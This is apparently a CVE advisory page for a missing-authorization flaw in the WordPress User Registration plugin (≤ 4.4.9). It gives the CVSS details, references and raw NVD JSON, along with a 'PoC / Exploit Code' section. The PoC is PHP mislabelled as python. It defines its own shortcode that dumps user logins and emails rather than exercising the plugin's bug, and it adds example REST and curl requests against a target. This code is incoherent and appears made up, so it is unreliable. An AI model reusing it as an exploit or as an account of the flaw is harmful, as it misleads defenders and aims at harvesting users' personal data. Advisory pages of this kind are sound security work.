CVE-2026-24353

Description

Missing Authorization vulnerability in wpeverest User Registration user-registration allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects User Registration: from n/a through <= 4.4.9.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

User Registration plugin <= 4.4.9

User Registration plugin (all versions before fix)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2026-24353 PoC - WordPress User Registration Plugin Authorization Bypass
 * This PoC demonstrates the shortcode execution vulnerability in User Registration plugin
 * 
 * Usage: Add this shortcode to any post/page or call via API
 */

// Malicious shortcode that can be executed by low-privilege users
add_shortcode('user_registration_exploit', function($atts) {
    $atts = shortcode_atts(array(
        'action' => 'list_users',
        'format' => 'json'
    ), $atts);
    
    // This should require higher privileges but doesn't due to the vulnerability
    ob_start();
    
    // Attempt to list all registered users (information disclosure)
    if ($atts['action'] === 'list_users') {
        global $wpdb;
        $users = $wpdb->get_results(
            "SELECT ID, user_login, user_email, user_registered FROM {$wpdb->users}"
        );
        
        if ($atts['format'] === 'json') {
            return json_encode($users);
        } else {
            echo '<ul>';
            foreach ($users as $user) {
                echo '<li>ID: ' . $user->ID . ', User: ' . esc_html($user->user_login) . 
                     ', Email: ' . esc_html($user->user_email) . '</li>';
            }
            echo '</ul>';
        }
    }
    
    return ob_get_clean();
});

// Example HTTP request to exploit via REST API
/*
POST /wp-json/wp/v2/posts/1 HTTP/1.1
Host: target.com
Content-Type: application/json

{
    "content": "[user_registration_exploit action='list_users' format='json']"
}
*/

// Example cURL command
/*
curl -X POST 'https://target.com/wp-json/wp/v2/posts/1' \
  -H 'Content-Type: application/json' \
  -d '{"content": "[user_registration_exploit]"}'
*/

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24353
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24353
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24353/
[4] VulDB https://vuldb.com/cve/CVE-2026-24353
[5] https://patchstack.com/database/Wordpress/Plugin/user-registration/vulnerability/wordpress-user-registration-plugin-4-4-9-arbitrary-shortcode-execution-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24353", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:38.910", "lastModified": "2026-04-28T03:16:02.620", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in wpeverest User Registration user-registration allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects User Registration: from n/a through <= 4.4.9."}, {"lang": "es", "value": "Vulnerabilidad por falta de autorización en wpeverest User Registration user-registration permite la explotación de niveles de seguridad de control de acceso incorrectamente configurados. Este problema afecta a User Registration: desde n/a hasta <= 4.4.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/user-registration/vulnerability/wordpress-user-registration-plugin-4-4-9-arbitrary-shortcode-execution-vulnerability?_s_id=cve", "source": "[email protected]"}]}}